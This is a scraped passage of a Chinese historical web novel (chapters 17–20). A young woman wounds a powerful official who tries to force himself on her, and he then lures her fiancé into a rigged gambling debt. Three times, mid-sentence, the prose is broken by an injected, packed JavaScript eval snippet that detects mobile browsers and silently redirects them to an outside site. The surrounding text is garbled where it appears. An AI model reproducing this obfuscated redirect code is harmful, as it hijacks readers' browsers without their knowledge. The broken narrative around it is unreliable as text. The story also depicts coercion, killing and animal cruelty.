只是有个前提,得找到一个合他心意的女子。 譬如眼前这个,真是哪哪都满意。 陆青檐沉沦在这美妙的滋味中,忽然唇上一疼,他抬起头。 殷红的鲜血从他唇上流出来,却沾染在她唇上。 真是奇妙。 “怎么了?” 他出奇地没有怒意。 “你不能动我!”她竟跟他讲起了道理:“方才外面的人说,你恩怨分明,一物换一物。我爹用银票和夜明珠换了自身平安,我只是替他送交换之物,你不能动我!” 有点道理。 他确实是这样的人,可是—— “你还未想明白吗?这样的夜明珠,我这里到处都是,故而在我这,这根本算不得值钱的宝物。” 夜明珠咕噜噜滚了过来,陆青檐捞过来,按在她手掌中。 “这件事,你爹也知道。所以他送的宝物不是夜明珠,而是你。” 从一开始就是你。 陆青檐看了一眼扔在地上的账册,纸页被风簌簌吹动,每一页竟都是白纸,一字未写。 “就连账册也是假的。”他一句话宣告了她的死刑:“你爹的本意,就是将你献给我。” 从看见她的那一刻起,陆青檐就明白了这个事实。 难得有一个尚且入眼的美人,还是主动送上门来,哪有拒之门外的道理。 陆青檐用手指压了一下她的唇,殷红的鲜血晕开,像涂了胭脂一般。 他心情愉悦地说:“我会派人告诉姜大人,他送的礼物我很满意,所以这桩买卖,我应了。” 姜昙哭了出来。 “好姑娘。” 他吻去她脸上的泪水,一手揽住她的腰将人捞起来。又摘了她摇摇欲坠的网巾,丢到地上,乌黑冰凉的长发散了一手。 “我们去做一些快乐的事。” 陆青檐弯腰将她抱了起来,用身体顶开纱帐,往里间去。 . 晃月别庄之所以叫晃月别庄,是有典故的。 这里的房顶上雕刻着大片的月亮,花纹。 一面墙开着窗户,若是天气好,能看到外面的月亮。 想要看到月亮,人得躺着。 施茂林的未婚妻姜妙仪,目前没这个福气,因为她虽躺着,却蒙着眼睛。 陆青檐捏着姜昙的下巴,手指勾着她的衣襟缓缓拉开。 一寸一寸地巡视她的身体,被布巾裹得发紧的胸口,因呼吸紧张而起伏的身躯。 “继续哭,不要停。” 他看着姜昙的眼泪从三指宽的黑布淌下来,殷红色的唇委屈地颤抖。 陆青檐目光灼热,呼吸逐渐急促。 在裹胸的布巾上濡湿地咬了一口,被压在桌案上的人像受惊的兔子,微微挣扎了一下,发现举动徒劳后,似是认命地躺了下来。 美得让人心惊。 春宫图,果然还是不如亲眼所见,亲自实践一番,来得生动愉快。 陆青檐想到春宫图中,也有这副场景。 顿时呼吸一紧,捉住她的脚踝,猛地朝自己拉近。沿着近乎赤裸的双腿将她的衣摆推到腰际,伏低下来。 “你可知道知道为何这里叫晃月别庄?” 陆青檐呼吸发沉,急切地去扯腰带,在她耳边问。 “为什么?”她竟肯说话了。 “因为——” 忽然前襟一紧,陆青檐被拉住衣领,紧接着脖子一疼,有什么尖硬之物扎破了皮肤。 姜昙的手中,一根银簪明晃晃地淌着血珠。 陆青檐看着她高高地举手,又刺了一次。 . 公孙文和邓显在门外候着,忽然听到屋里传来花瓶摔碎的声音。 刘武率先推门而入,邓显紧随其后。 公孙文在最后面,看到屋内陆青檐躺在地上,脖颈额头都是血,吓得跪在地上。 这这这,这帐暖春宵怎么变成凶案现场了! “长公子,发生了什么事?” 邓显将陆青檐扶起来,发现他脖颈之处插着一根银簪,正汩汩冒着血,将陆青檐的手掌和衣袖都染红了。 除此之外,陆青檐额头上也有一道伤口,地上散落着破碎的瓷片,应是被人用花瓶砸的。 邓显朝门口的下人说:“快叫大夫来!” 陆青檐捂着脖颈坐起,意识尚且清醒,怒不可遏地吩咐:“刘武,把那个女人给我抓回来,要活的!” 刘武从窗户跳下去。 那下面是一条河,连着城里的运河。 不过这可有三层之高,那女人竟这么大胆,如此之高也敢跳下去? 公孙文连连磕头求饶:“都是下官的错,思虑不周,没调教好就把人送来,害得长公子受伤,下官该死!” 陆青檐冷笑说:“把盐城知县给我绑过来,问问他,是不是不想活了?” 公孙文如蒙大赦:“下官这就去!这就去!” 大夫哆哆嗦嗦地清理伤口。 他是山上的普通村夫,正在睡梦中,忽然被几个壮汉撞破了门,绑到这里来,说是为贵人看病。 可这哪是病,一看就是刺伤。 银簪扎得极深,干脆利落,可下手之人留着一分余地,并未真的下死手。若是再深一些,这人性命就不保了。 银簪是女人惯用的样式,联想到这晃月别庄日日笙歌的模样,大夫一想便明白了。 再加上这位贵公子唇是破的,唇上水光和血迹还未消去。面容俊美无俦,眉间却始终萦绕着一股阴郁之色,难怪不得姑娘喜欢了。 这么想着,他手下就分了神,没留意压住伤口,涌出的鲜血顷刻染湿白布。 大夫抬头,发现贵公子正看着自己,视线发寒。 和他在山林间撞见的猛兽一样。 “贵人饶命!”大夫吓得跪下。 陆青檐冷冷说道:“拖下去。” 犹如惨叫的求饶声在死寂的楼层中炸开一瞬,被几个壮汉止住了。 “长公子。” 邓显上前来,接手他手中纱布,替他包扎伤口。 他素来会揣摩主子的心意,方才在门外与公孙文说了许久,又在旁边看了许久,他心里又有了几分盘算。 邓显试探着问:“听闻那女子叫妙仪,是施茂林的未婚妻子。她与未婚夫情深意长,不愿委身公子,亦在情理之中。” 陆青檐冷笑:“他们情深意长,与我何干?” “属下的意思是,男女之事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13613056|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需你情我愿,方能得趣。否则那女子床笫间哭哭啼啼,挣扎抗拒,岂不是坏了公子兴致?” 邓显说:“此事需慢慢来,公子比之施茂林,一个天上一个地下,若能细水长流,日久生情。那么良禽择木而栖,那女子也会移情别恋。” 邓显观察得仔细。 这样致命的伤口,除非是在极为亲近的距离才能做到。 而长公子外衣凌乱,说明他对这女子十分中意,已到了要行鱼水之欢的那一步。 否则,也不会被伤到。 好不容易有了一个符合陆青檐喜好的女人,邓显可不愿意她就这么死了。 “日久生情?” 陆青檐想起姜昙那副决绝的样子,反问说:“你觉得本公子像是与一个女子日久生情之人吗?我可没有那样的耐心。” 不过,邓显说的不无道理。 与她亲近一次,她能险些要了自己的命。 下一次,她未必不敢杀了他。 美人如花,奈何有刺,棘手不已。 也罢,那就再等一等。 不过,他绝不可能什么都不做,陆青檐从来不是以德报怨的好人。 “施茂林在何处?” 邓显说:“方才怕他惊扰公子,我已让他回去休息了。” “休息?晃月别庄可不是让人休息的地方。” 陆青檐抚摸着额头的伤口,笑说:“他不是想找门路吗?让姚卓带他去别庄里转一转,给他门路。” 想起那个女子求他时颤抖的声音,陆青檐又说:“他不喜欢舞姬,那就给他安排一个女人,与他日久生情,情深意长。新旧两份情意摆在眼前,看看孰轻孰重。” 那个女子惹起的怒火,必须从别处宣泄出来才行。 施茂林是个现成的宣泄对象。 邓显称是。 安排完这些,陆青檐怒气散了些,却仍觉不够,便问:“先前那个锦衣卫招了没有?” “托公子的福,招得干干净净。已允诺饶他一命,送他离开扬州。” 陆青檐说:“那是你允诺的,我可没有答应。锦衣卫都是许党,是与义父作对的人。义父说了,这样的人千刀万剐,死不足惜。” 邓显说:“公子说的是。” 陆青檐从角落里挑了一根趁手的月杖:“今夜他撞了大运,碰上我兴致好,亲自送他上路。” 施茂林被姚卓拉着,走在水上长廊,忽然听到一声惨叫。 施茂林停了下来:“姚兄,你听到了没有?有人在呼救?” “什么也没有。”姚卓推着他往前:“快走吧,晚了就赶不上了!” “你到底要带我去何处?已经到安寝的时辰了。” 姚卓暗暗翻了个白眼。 只有穷人才会这么早入睡,因为没有消遣和去处。而富贵人家的少爷公子们却不一样,这个时辰正是醉生梦死的好时候。 “你不是想中武举吗?那考官我认识,但认识也无用,因为认识的人多了去了,名额却只有那么几个,狼多肉少!” 姚卓将腰间的银票抽出来,塞到施茂林手中:“这个时候,比的就是它!银子!” 一千两的银票,施茂林这辈子都没见过这么多钱! “所以你要带我找的门路是……” 姚卓停下来,示意他看前方的大门:“到了,门路就在这!” 施茂林握着银票,愣愣抬头,大门上写着三个大字—— 销金窟。 晃月别庄的赌坊,亦是全扬州最大的赌坊。 18. 第 18 章 姜昙生了一场大病。 病中昏昏沉沉,撑开眼皮都觉得费劲。 偶尔清醒,也不过半炷香的时间。看到熟悉的房间和帐顶,她才慢慢想起来,自己是怎么回到陆府的。 她伤了晃月别庄的那个狗官,从窗户跳到下面的水池里。那水池连着扬州城的河流,借着河流的冲势,她才游了出来。 许是那狗官身边的下人不识水性,于是没有追来。 接着,她在半山腰上岸,恰好遇到等候多时的紫珠。 据紫珠说,那夜她进去后,立刻就有人出来,赶紫珠离开,说她今夜留宿,不会回去了。 想来从她未进门时,就有人盯着她的一举一动。 她费尽心思的男子装扮,以及忐忑酝酿的说辞,都是无用之功。 从一开始,姜清源就打着卖女求荣的主意,未必不惜装病卖惨,甚至编谎话,只为骗取她的同情心。 真是好一出戏。 几月不见,姜清源竟然变得这么狡猾了。 紫珠趴在床前,哭得上气不接下气:“姑娘,你若是走了,我也不活了,我和你一道找夫人去……” 姜昙想笑,却笑不出来。 那夜逃得太急,胸腔处被河中的石头撞伤,一笑便牵动伤口,疼得浑身冒汗。 “不会死……” 哭声一停,紫珠扑过来,怕压到她,于是猛地停住:“姑娘,你要吓死我了!奴婢去找大夫给你看看吧!” “不,我没事。”姜昙回忆着药方:“只是得了风寒而已,去药箱里找防风、黄芪、白术……” 不行,紫珠只认得一半的药材,她一定记不住。 “箱子里,魑魅魍魉……”说完,姜昙就睡了过去。 她又梦到了三年前的吴江。 德庆七年十二月,吴江下了很大的一场雪,那是那年的第一场雪。 雪落前毫无征兆,雪落时悄然无声。 当晚,姜昙看了半宿的书。雪便在此刻落下,一夜簌簌。 第二日打开屋门,大雪盖住了整个吴江。 姜昙踩在厚厚的雪层上,用脚将雪层拨到一边去,经过河边,看到岸边的船顶盖着厚厚一层雪。 梅花巷子里有一户人家正在扫雪。感慨吴江好多年不曾有这样的大雪,瑞雪兆丰年,来年必定五谷丰登。 到处都是白茫茫一片,除了宋府。 满地都是雪,马蹄子打滑,宋庸无法畅快骑马。 宋府的下人们跪在地上,扫雪,洗地。 宋庸裹着狐裘,坐在屋檐下,院中几个杂耍的艺人,冻得满脸发白,正在指挥猕猴跳圈子。 天寒地冻,那猕猴怎么也跳不起来,杂耍人擦着冷汗,无奈说:“宋少爷,这猕猴嫌冷,要不少爷换一个节目看吧?” 宋庸等了许久,此刻已不耐烦起来:“嫌冷,这还不简单?管家,给它拿着炭来。” 上好的红罗炭被铺在地上,宋府的下人将猕猴赶上去。那猴子被烫得吱吱惨叫,跳过圈子,躺在地上,一动不动。 宋庸被逗得哈哈大笑。 姜昙来到宋府的时候,宋府的下人牵着狼犬,正与拴在树上的猕猴撕咬。 下人们欢呼着,猕猴奄奄一息。 狼犬欢快地跑过去,不防那猕猴只是假死,趁狼犬跳起来,猛地咬住狼犬的尾巴。 宋庸大怒:“将那畜牲给我杀了!” 宋府下人们动作利落,有人拿着柴刀,割断了猴头。 杂耍人面色发白:“宋少爷,是这猕猴赢了!您方才分明说,赢了就饶了它……” 宋庸居高临下地道:“所以,你要替一只畜牲讨回公道?” 杂耍人讷讷半晌,跪下磕了个头:“小人不敢。” 杂耍人的女儿冲过去,哭着扑在死去猴子的尸身上:“小巧,小巧!” 宋府管家指挥着将她拖开,带到少爷面前。 杂耍人的女儿瞪着宋庸:“你伤天害理,你是个坏人!” 宋庸裹着曳地的狐裘走下来,名贵的衣料被污雪弄脏,他也半点不在意。 宋庸弯腰低头:“我长这么大,还是第一次听到有人这么骂我。” 杂耍人的女儿不知何时抓了一把雪,砸在宋庸的脸上。 宋庸没有生气,淡淡擦干净脸,边擦边纳罕地上下打量她,忽然噗嗤一声笑了。 姜昙与他日日在一处,最熟悉他这种笑容。 每当他这么笑时,不是生气,反而是起了兴致。 而宋庸对一个人或者一件东西产生兴趣之后,都不会有什么好结果。 “少爷。” 姜昙挡在那人身前:“您不是说,今日要带我去见识一下宋府的猎场吗?现在正是好时候。” 宋庸不笑了。 管家看气氛不对,连忙给下人们使眼色。 没一会儿,杂耍班子就散得干干净净,就连宋府下人们也跑光了,只剩下管家在侧,不敢吭声。 “姜昙,你是故意跟我作对!”宋庸揪起姜昙的衣领,怒瞪着她:“外面冰天雪地,出城的路都被雪堵住了,怎么去看猎场?” 姜昙镇定地看着宋庸,浑然察觉不到剑张跋扈的气氛,微微笑说:“大雪阻路,少爷正好可下马绕行,曲径探幽,如同魏晋风流名士一般。再者说,昨日管家说少爷似有些积食,医书上说,多走走也有利于保生长寿。” 宋庸盯着姜昙的眼珠,似是在分辨她话里的真假。 须臾,宋庸撒手。 “哪本医书写的,我怎么不知道?还有你!”宋庸转身,对管家踢了一脚:“谁准你这个下人将本少爷的事情给外人乱说!” 管家觍着脸笑:“姜小相公是少爷好友,不是外人。” 宋庸冷哼一声,脸上的戾气终于散了。 午时,趁着宋庸小憩,姜昙出来找那个杂耍班子。 他们是路边的杂耍人,被宋府请进门来,宋庸尚且还有兴趣,他们不能走。 姜昙在后院的水池边上,找到了杂耍人的女儿。 她叫银翠,瘦弱得不像十四岁。受惊时,眼睛瞪得很大。 银翠慌乱地藏着方才正在洗的布巾:“你想做什么?” 姜昙站得远远地,将手上的荷包放在地上。银翠看出那是银子,不说话了。 走了两步,姜昙还是调转回来,在银翠惊惶无措的视线中,将肩上披风解下来,放在荷包边上。 “月信来时,不要碰冷水。” 说完,姜昙离开,却在回去不远的回廊上,遇到了宋庸。 他头发半散着,只披着大氅,来到她面前时,身上的暖香也散了。 姜昙意识到,或许他没有睡,在她走后不久,他就跟过来了。 宋庸讥讽地笑:“一个杂耍人的女儿,也值得你这样可怜和关心?自甘下贱!” “少爷,姜昙本来就是卑贱之人。”姜昙低声说:“我与他们臭味相投,并非自甘下贱。” “你——”宋庸怒极反笑:“好,你很好。” 姜昙一时嘴上痛快,当夜,她忐忑了一整晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628131|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,决定第二日向宋庸低头认错。 不想第二日未进门,就听到里面传来银铃般的女子笑声。 姜昙掀帘而入,里面的女子惊得站起来,正是银翠。 她与昨日见到的很不一样,头上簪着宝石珠花,身着绫罗绸缎。怯怯地说:“姜相公。” 宋庸仿若没看见姜昙,一手将银翠拉下来:“站起来做什么?你不是正不舒服?” 两人亲密地依偎在一起。 宋庸笑着凑在银翠耳边,低声说了什么,逗得她咯咯直笑。 姜昙看了看一旁立着的杂耍人,喜得眉开眼笑,恍若昨天之事,从未发生过。 是她多管闲事。 姜昙于是起身告辞:“少爷正忙,姜昙先行告退,改日再来拜访。” 管家讪笑着挡在姜昙面前。 “我说让你走了吗?”宋庸站起来,眉眼泛着寒意:“你把宋府当什么地方?青楼妓馆?” 这话说得刺耳,姜昙从善如流道歉:“姜昙不敢。” 宋庸更生气了,银翠连忙打圆场:“宋少爷,方才你不是有话要与姜相公说吗?” 宋庸不说话,银翠连忙说:“今夜宋少爷在鲤鱼湖开宴,请姜相公来喝酒。” 宋庸淡淡补充:“是为银翠办的宴会,庆祝她长大成人。姜小相公,你可一定要来捧场。” 当夜,鲤鱼湖灯火通明。 宋府包场,请了相熟的几个贵公子,宋庸坐在主位,把银翠介绍给每一个人。 兴致高时,杂耍人喜得在人场中耍了一段,贵公子们看得鼓掌喝彩。 船上暖香阵阵,杂耍人喝得瘫倒在地。银翠挡不住那些贵公子们一个一个来敬酒,喝的头晕眼花。 不多时,银翠倒在桌上。 贵公子们对视一眼,笑得轻蔑。宋庸饮了一杯酒,端着手边一杯酒,走过来,掐着银翠的下巴。 还未将酒灌进去,酒杯就教半空中伸出来的一只手拿走了。 宋庸不耐扭头,发现是姜昙,他冷眼着看姜昙。 姜昙却低眉顺眼:“怎敢劳动少爷,小人来。” 宋庸冷哼一声。 姜昙托起银翠的脑袋,酒杯凑到近前,忽然迅速调转方向,往自己口中倒去。 “姜昙!” 宋庸怒不可遏,揪起姜昙的衣领。 姜昙瘫倒在地,被他揪住衣领半跪着,眼神已然模糊不清了。 “少爷,我错了。”姜昙挣扎着要往地上栽:“姜昙错了。” 听闻人醉酒之后,情绪激动之时,或会潸然泪下。 姜昙今日可算体会到了。 她泪眼朦胧地向宋庸求饶,她知道他有很多手段,从一开始接近他时,她就知道。 宋家原本没有那么大的家业,能做到苏州府第一首富,有一半归功于宋庸那些手段。 她夜夜难以安睡,梦中算是不同的人死去的模样,可她从没见过那些人。 上方,宋庸愣了一瞬,松开手,任由姜昙仰面躺在地上。 许久之后,姜昙睁开眼睛。 看到他低下身在她身边,冷冷地问:“魑魅魍魉的滋味怎么样?” 他掐住她的脖颈:“真是贱骨头,给狗吃的东西,你偏要代人受过!” …… 姜昙猛然睁开眼睛,一身的汗。 一晌贪欢和魑魅魍魉,服下去后,会让使用者浑身发热。清醒之时,满头大汗。 姜昙握了握手,手上有了点力气。 她的风寒好了。 19. 第 19 章 待能下地走动后,姜昙立刻让紫珠去打听名帖的事。 陆秋水那边回话,请姜昙再多等七日。 姜昙一天都等不下去。 她想从陆府出去,想离开扬州府,越快越好。 她写信给施茂林,却没有收到回信,忍不住遣人去施茂林的住处打听消息。 收了钱的门房却告诉她,施茂林的住处门户紧闭,与他同一个武馆的汉子说,施茂林已消失好几日了。 细问之下,仿佛是那日从她这处离开,施茂林就再没回去过。 他究竟去何处了? 姜昙有不好的预感,给了那门房二两银子,让他继续打听。 门房自然答应。 . 晃月别庄,施茂林眼中布满血丝。 他一夜未睡,已在赌桌前连着坐了几个时辰。眼下泛着青黑,眼珠却瞪得极大,紧盯着桌面上的骰子。 庄家摊开手,示意自己并未出老千,本次下注公平公正。 “诸位爷,开注了!” “大!大!大!” “小!小!小!” 施茂林情不自禁地开口,跟着身边的人一起喊:“大!” 签筒一开,二,四,三,小。 “诸位爷,承让了。” 堆成银山的银元宝一推,轰然倒塌。 施茂林的银子也在那里面,准确地说,是他借向姚卓借的银子。 一千两的银票换成的银元宝,已全部输光。 从一开始,他只想将本银捞回来。 可到后面,他嫌赚的不够。等到赚够了,他又想着再赚一点点。赚够一点点,他想着再多赚一点点。 就一点点…… 他不知循环了多少次这个过程。 等他清醒过来时,浑身疲惫不堪,脑袋钝痛,就成了眼前这副模样。 不仅如此,妙仪送他的荷包和药囊,也被一起输了。 不过,荷包和药囊没了倒是小事,银子却回不来了。那几乎是他全部的银两,若是要还,恐怕家中床缝里用来成亲的银子也不够。 此外,他还得在武馆干好几年才能还清。 姚卓打了个哈欠,他睡了一觉又过来,此刻精神正足。 “施兄弟,再玩一把,我这里还有一千两银子借给你,等捞回本便收手。” 不能再玩了。 施茂林摇头拒绝,失魂落魄地朝外走。 走出赌坊的时候,外面的天光无比刺眼。施茂林的眼睛被刺得流泪。不得不又退回来。 这时,他忽然听到旁边传来的一阵求救声。 “姚兄?你听到了吗?”施茂林扭头找姚卓,发现他不见人影。 “救命啊!” 真的有人在求救,还是一个姑娘家! 施茂林朝四下里看看,所有人都在赌钱,没人注意这边。若是他不去,那姑娘恐怕就危险了! 想到这里,施茂林连忙朝生源处走去。 那是赌坊侧间一个隐蔽的屋子。 两个小厮正对地上一个姑娘家又拖又拽,极其残忍粗暴。 那姑娘看过来,泪眼婆娑,楚楚可怜地呼救:“英雄,救命啊,求你救救小女子!” 施茂林手臂健壮,一手一个,将小厮丢在地上,那姑娘从地上爬起来,连忙躲到他身后。 肩负着一个弱女子的安危,施茂林顿觉责任重大,大喝一声:“你们干什么欺负弱女子?还算爷们儿吗?” 小厮哎呦哎呦爬起来:“欠债还钱,天经地义!她欠赌坊五两银子,还不上,就得拿身子来抵!” 逼良为娼! “不就是五两银子,给你!” 施茂林身上还有十两银子,将五两银子扔在地上,两个小厮捧着银子跑了。 “多谢英雄。”姑娘伏在施茂林的臂上哀哀哭泣,施茂林不自在地将她推开。 只听姑娘说:“我是尼姑庵里的一个小尼姑,名叫红柳。原本看破红尘想要出家,不想那尼姑庵竟是一个暗娼淫窝,于是我就逃了出来。本想借点盘缠下山,没想到写了借据,他们竟然倒打一耙,说我欠了他们的银子……” 红柳跪在地上磕头:“若不是英雄救命,我恐怕就要遭他们毒手了。英雄的大恩大德,红柳今生无以为报!” “无事。” 救人一命,胜造七级浮屠。 施茂林又想起那一千两银子来,若要还上,恐怕得倾尽所有,他与妙仪的婚事要操办起来,不知得到何年何月去了。 红柳跟着他:“恩人,你可是输了钱?” 施茂林不说话,红柳低声道:“我有办法助恩人赢回来。这家赌坊有个庄家专出老千,我方才偷听到他今晚的计划,恩人按我的话去下注,逢赌必赢!” 施茂林心动了。 红柳牵住他的袖子,往赌桌那处引:“恩人,就在那。” 接下来的事,简直和天上掉银子一样美妙。 依照红柳的话,施茂林逢赌必赢,他将银子全部押上去,赚了个盆满钵满。 桌子上堆成小山的金银向倒过来,将施茂林围在其中。 一千五百两! 整整赚了五百两! 施茂林将红柳抱起来,激动地欢呼着。 销金窟的二楼栏杆处,姚卓轻蔑一笑,扭头进了雅间。 里面一面墙临湖,河风吹得帐缦翻飞。 姚卓殷勤地禀报:“长公子,那个傻大个上钩了。” 陆青檐手指挑着药囊荷包,仰头细看,翻来覆去,似能看出花似的。 “一千两可不够,太少了。” 姚卓斟酌道:“那……五千两?” “还是太少。” 陆青檐将药囊凑到鼻间,深吸一口气,说:“要让他输得倾家荡产,哪怕穷极一生,想尽办法,怎么样都还不上才好。” 真狠呐! 姚卓打了个寒噤,庆幸陆青檐打了自己一顿,否则真的招惹上他,自己怕是连骨头都要被剁碎。 “长公子瞧好着吧,红柳可是全扬州最会揣度人心的花娘。” . 不到半日,施茂林就有了消息。 门房摸着口袋里的五两银子,喜滋滋地说:“姑娘放心,施爷好着呢,不知做了什么大买卖,忙的热火朝天。若是发达了,请姑娘跟施爷说一声,带带我这个小兄弟!” 姜昙蹙眉。 施茂林是个老实人,一向只在武馆里做事,这些年跟着武馆去护镖,才攒下一些聘银。 他从无经商的经验,能做什么大买卖? 施茂林约姜昙在老地方见面。 临行前,姜昙褪了外裳,在脖颈上涂着药膏,遮掩那些难堪的“痕迹”。 涂好药后,紫珠打开珍珠粉,仔细地往那些痕迹处扑开。 那些痕迹实在太重,自脖颈蔓延至肩上,胸口上方更是不忍直视。紫珠不敢问,默默地用了厚厚一层珍珠粉,却怎么也遮不住。 姜昙披上外裳,说:“换一件衣领高些的衣服。” 夏衣轻薄,扬州又热得紧,哪有衣领高的衣服? 紫珠无法,只好从箱笼里找了件尚且算薄的秋裳,又往领口处缝纱娟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13645106|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这才勉强遮住。 午后,施茂林来了陆府,两人依旧在外院附近见面。 以往两人约见,施茂林总会比约定时间早来半个时辰。可这一次,直到姜昙在竹林候了近一个时辰,施茂林才姗姗来迟。 “妙仪,瞧我为你带了什么?” 施茂林面带喜色,一面招呼身后的小厮:“快拿过来。” 那俩个小厮手上抱着大包小包施茂林,堆到石桌上,足足有半人高。 临去前,施茂林扔了两块银角,小厮喜气洋洋地说:“谢施爷!” 施茂林向姜昙一一介绍桌上的物件:“妙仪你瞧,这是袁记的糖果子,二钱银子一包。这是烟霞坊的胭脂膏子,掌柜说扬州的小姐们都用这个。还有这个,上好的布料,发钗……最要紧的是这个!” 姜昙想说什么,施茂林却激动地从衣襟处掏出一个锦盒。 锦盒打开,是一枚碧水天青的玉镯。比上次送的更好,一看就价值不菲。 “这可花了我整整五十两银!” 施茂林说着来捞姜昙的手:“上次那个不好,戴这个更好的。” 姜昙躲开了。 施茂林抬头,对上姜昙的面容,喜色僵住:“怎么了?” 姜昙蹙眉看着他:“茂林,你哪来这么多的银子?” “自然是赚的。” “你们镖局这几日应当正在休沐,你是出去做了护卫?还是你师傅见你办事得力,给你的赏银?” “妙仪,你做过捕快吗?为何像审问犯人一样问我?” 姜昙微微愣住:“我……” 片刻后,她意识到自己的语气确实有些严厉:“对不起,是我错了。你若不想说,我就不问。” 施茂林握住姜昙的双手,这一次,她没有躲。 “我向你发誓,我所作所为,对得起天地良心。” 赌坊那些人,出老千赢了黑心钱,他拿回来,属于以恶制恶! 施茂林将姜昙拥入怀中,她顿了一顿,亦没有躲。 施茂林几乎屏住了呼吸,轻声细语地说:“有些事情,我现在不便说与你听,再过一段时间,时机成熟后,我再告知你。” 姜昙没有说话,施茂林就当她默认了。 嗅着姜昙身上传来的阵阵药香,他逐渐有些心猿意马,低头下去,轻轻吻着她的乌发。 “妙仪……” 施茂林一脸虔诚。 姜昙专注地盯着他的脸,施茂林长相英武,心地善良,而且这是自己的未婚夫,没什么不可以亲近的。 她闭上眼睛,等待施茂林靠近。 唇齿相依的那一刻,姜昙突然推开施茂林。 后者一脸愣怔,姜昙捂着脖颈说:“今日……不行,再等三日。” “为什么要再等三日。”施茂林不解。 因为最快三日,脖子上和胸前的那些痕迹才能消除。 姜昙不说话,即使这样施茂林也乐得不行,妙仪是个性子温吞的人,待人总是不冷不热。 她愿意与他亲近,就代表她心里有他。 施茂林兀自乐了一会儿,忽然想起什么,对姜昙说:“还记得我上次跟你说的门路吗?我认识了一个朋友,想带你去见见他。” 夫妻一体,施茂林的朋友就是她的朋友,自然该见。 “好。” 脖子上的厚重香粉弄脏了衣领,姜昙打算回去:“我换件衣服,再同你出去。” 施茂林却说:“不必出去,那位朋友就住在陆府。” 姜昙怎么也没有想到,施茂林的朋友,竟是陆庸! 20. 第 20 章 怎么会是陆庸! “妙仪,这就是我与你提起过的好友青檐。” 在看到陆庸面容的那一刻,姜昙脑中的思绪轰然炸开。 耳中又响起刺耳的鸣叫。 她听不到施茂林的声音,只看到他的嘴唇在动,似是在说什么。 分辨了半晌,姜昙才辨出他说的:“多亏青檐兄弟指点,否则我现在还蒙在鼓里,不知这武举考场的水有多深!” “施兄,这是谁?”有人在不远处问。 姜昙的意识回笼,怔怔看向陆青檐。 陆青檐一袭石青色的衣袍,温文尔雅,举手投足像个知礼的儒雅书生。 陆青檐打量着姜昙,神色淡然,细看之下,还有一丝探究和戒备。 施茂林连忙介绍:“这就是我提过的未婚妻子,姓姜。” 陆青檐眼中的距离感蓦然散了。 “原来是嫂嫂。” 陆青檐温然笑说:“百闻不如一见,果然和施兄说的一样,婀娜绰约,纤若游丝,如天仙下凡。” 姜昙心中一紧,握紧手心。 施茂林轻斥道:“去你的,还没成婚呢,不许瞎叫!” 话虽如此,施茂林的眼中却是满溢的笑意。 察觉姜昙的视线,他低头悄声说:“他是读书人,说话就喜欢引这个典故那个典故的,文绉绉的,教人听不懂,你莫介意。” 姜昙不作声,面对陆青檐的见礼,沉默颔首,算是见礼。 陆青檐和宋庸太不一样了。 不止是先前紫珠打听到的,他的温然性格、大家谈吐以及随时随地都挂在脸上的笑容,都与宋庸无一丝一毫的相似之处。 宋庸绝对不会与人称兄道弟,也不会如此平易近人。 趁着低头的间隙,姜昙一直盯着陆青檐的手掌看,他的五指齐全,和寻常人一样。 天下之大,取名为庸的男子何其之多。 陆庸真的不是宋庸? 可是,那一晚陆庸带人搜查绿柳院的模样,姜昙到现在还记得。 陆青檐引着两人在亭中坐下,下人奉茶的工夫,姜昙已在心中决定回去。 纵然他不是宋庸,可他的面相和宋庸的太像了。看见这张脸,姜昙便浑身不适。 姜昙于是轻扯施茂林的衣角,想要对他说,自己身体不适,想先回去。 可话未说出口,陆青檐已招呼院中人出来,施茂林一见来人,眼睛都亮了。 “子扬!” 施茂林许久未见陆昂,上前锤了他一记。却未曾注意到,姜昙想拉他衣角的手落空,顿了一瞬,收回袖中。 陆青檐注意到此处,隐去眼中微不可见的笑。 陆昂是个喜欢热闹的性子,指着院子里的石林,提议说:“今日难得凉爽,不如我们来逛石林迷宫,看谁先走出来,便算谁赢!” 陆青檐说:“单比试没有彩头,可不算有意思,不若我们每人取一件随身之物,让下人放在迷宫的任一出口,谁拿到就算谁的。” 陆青檐取下腰间的玉佩,又让下人取来锦囊,将玉佩放进去。 “我的好了,该你们了。” 陆昂、施茂林对他的提议很感兴趣,跟着照做。 姜昙欲言又止。 陆青檐体贴地看向她:“嫂嫂是女儿家,若是介怀,可以不放东西。” 进入亭子以来,除了门口见礼的那一次,这是他第一次正眼看自己。 规规矩矩,很是知道分寸,保持着对待一个好友未婚妻子的合适距离。 陆昂和施茂林也都看着她。 